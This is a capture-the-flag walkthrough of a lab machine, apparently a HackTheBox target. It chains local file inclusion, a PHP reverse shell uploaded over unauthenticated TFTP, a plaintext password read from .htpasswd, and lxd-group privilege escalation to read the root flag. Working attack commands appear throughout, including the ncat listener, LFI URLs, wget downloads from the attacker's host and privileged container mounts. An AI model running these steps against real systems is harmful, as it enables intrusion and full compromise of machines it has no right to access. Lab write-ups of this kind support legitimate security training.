Port scan first. Exchange ip with your machines IP address.
sudo nmap -sV ip
Relevant output:
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Let's paste the IP address into our browser. We see that we get redirected to
http://ip/?file=home.php
The part "?file=home.php" is of our interest, because its existence is a hint, that this website may be prone to local file inclusion. To check for this vulnerability, we can exchange "home.php" with "/etc/passwd".
http://ip/?file=/etc/passwd
And, we were right. The file content of the passwd file is shown in our browser! However if that would not have worked, it could be because the developers of this website may have added the "__DIR__" parameter in the PHP code. Then our modified URL could try to access /var/www/html/etc/passwd, which of course, would not be existent. In this case, we would change the URL to:
http://ip/?file=../../../etc/passwd
When inspecting the output of the passwd file, we see the last line:
tftp:x:110:113:tftp daemon,,,:/var/lib/tftpboot:/usr/sbin/nologin
The user "tftp" suggests, that the server allows Trivial File Transfer Protocol (TFTP) communication. This basic file transfer tool has no authentication feature! Furthermore, we know that TFTP uses UDP (User Datagram Protocol) to communicate. Let's run another Nmap scan for open UDP ports:
sudo nmap -sU ip
Relevant output (wow, this took 15 minutes):
PORT STATE SERVICE 68/udp open|filtered dhcpc 69/udp open|filtered tftp
Our plan now is to use the unauthenticated TFTP access to upload a malicious PHP file, which we will then execute by pasting the path and file name into the URL. Let's create the PHP file now (content is copied from the website raw.githubusercontent.com, which is linked down below):
cd temp sudo nano php-shell.php // 1. paste the code from the website // 2. change the $ip with your tun0 inet ip and the $port to a port that you want to use for listening (let's use 443) // 3. ctrl + o and then enter to save and then ctrl + x to close the text editor
Our reverse shell is finished. Let's start a Netcat listener terminal window on port 443 and keep it opened.
sudo ncat -lvnp 443
Output:
Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443
Then we upload our reverse shell. :
tftp ip put php-shell.php quit
The file has been uploaded and we are listening on port 443. From the psswd file we also know the location of the file:
/var/lib/tftpboot
So, let's modify the browser URL to be:
http://ip/?file=/var/lib/tftpboot/php-shell.php
It worked! The Netcat window outputs:
Ncat: Connection from 10.129.95.185. Ncat: Connection from 10.129.95.185:39058. Linux included 4.15.0-151-generic #157-Ubuntu SMP Fri Jul 9 23:07:57 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 18:05:08 up 52 min, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off
But this is not a proper shell yet, run
python3 -c 'import pty;pty.spawn("/bin/bash")'
to make our shell more powerful. Run
whoami
To see, we have the privileges of
www-data
Which is not a lot. We should look for a user with better privileges.
cd /var/www/html ls -la
Outputs
total 88 drwxr-xr-x 4 root root 4096 Oct 13 2021 . drwxr-xr-x 3 root root 4096 Apr 23 2021 .. -rw-r--r-- 1 www-data www-data 212 Apr 23 2021 .htaccess -rw-r--r-- 1 www-data www-data 17 Apr 23 2021 .htpasswd -rw-r--r-- 1 www-data www-data 13828 Apr 29 2014 default.css drwxr-xr-x 2 www-data www-data 4096 Apr 23 2021 fonts -rw-r--r-- 1 www-data www-data 20448 Apr 29 2014 fonts.css -rw-r--r-- 1 www-data www-data 3704 Oct 13 2021 home.php drwxr-xr-x 2 www-data www-data 4096 Apr 23 2021 images -rw-r--r-- 1 www-data www-data 145 Oct 13 2021 index.php -rw-r--r-- 1 www-data www-data 17187 Apr 29 2014 license.txt
Let's see the content of .htpasswd:
cat .htpasswd
Outputs
mike:Sheffield19
Let's switch to mikes account:
su mike Password: Sheffield19
Success, let's now see what privileges mike has:
id
Outputs
uid=1000(mike) gid=1000(mike) groups=1000(mike),108(lxd)
lxd looks interesting and is what we will now try to exploit. Because we know that there is an vulnerability where a member of the lxd group can get root privileges without a password. To do the exploitation, we follow the process described on book.hacktricks.xyz (link to be found down below).
On our local machine, install the following programs, then clone and build LXC:
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools git clone https://github.com/lxc/distrobuilder cd distrobuilder make
Relevant output:
distrobuilder built successfully
Now we will download and build the lightweight Linux distribution "Alpine":
mkdir -p $HOME/ContainerImages/alpine/ cd $HOME/ContainerImages/alpine/ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.9
If the build succeeded, you can list this two files:
ls lxd.tar.xz rootfs.squashfs
To move these files onto the target system, we will use a Python HTTP server, that we start from the same terminal:
python3 -m http.server 8000
Output:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Then, within the Netcat/Now reverse shell window, run these commands to download the two files from our local machine (exchange ip with your machines tun0 inet IP address):
cd ~ wget http://10.10.14.208:8000/lxd.tar.xz wget http://10.10.14.208:8000/rootfs.squashfs
Just in case you lost the reverse shell at some point, restart Netcat on port 443:
sudo ncat -lvnp 443
And then refresh the browser with this link still opened:
http://ip/?file=/var/lib/tftpboot/php-shell.php
Then in the Netcat window:
python3 -c 'import pty;pty.spawn("/bin/bash")' su mike Password: Sheffield19
When successfully downloading the two files from above with wget, you get some output like:
2023-06-05 07:06:28 (126 MB/s) - ‘lxd.tar.xz’ saved [888/888] 2023-06-06 08:14:27 (11.6 MB/s) - ‘rootfs.squashfs’ saved [2580480/2580480]
Now we import the image:
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
Then we run two commands to make sure the container has root privileges:
lxc init alpine privesc -c security.privileged=true
Output:
Creating privesc
And:
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
Output:
<st-root disk source=/ path=/mnt/root recursive=true Device host-root added to privesc
Then we can finally start the container with a root shell and display the flag:
lxc start privesc lxc exec privesc /bin/sh cd /mnt/root/root cat flag.txt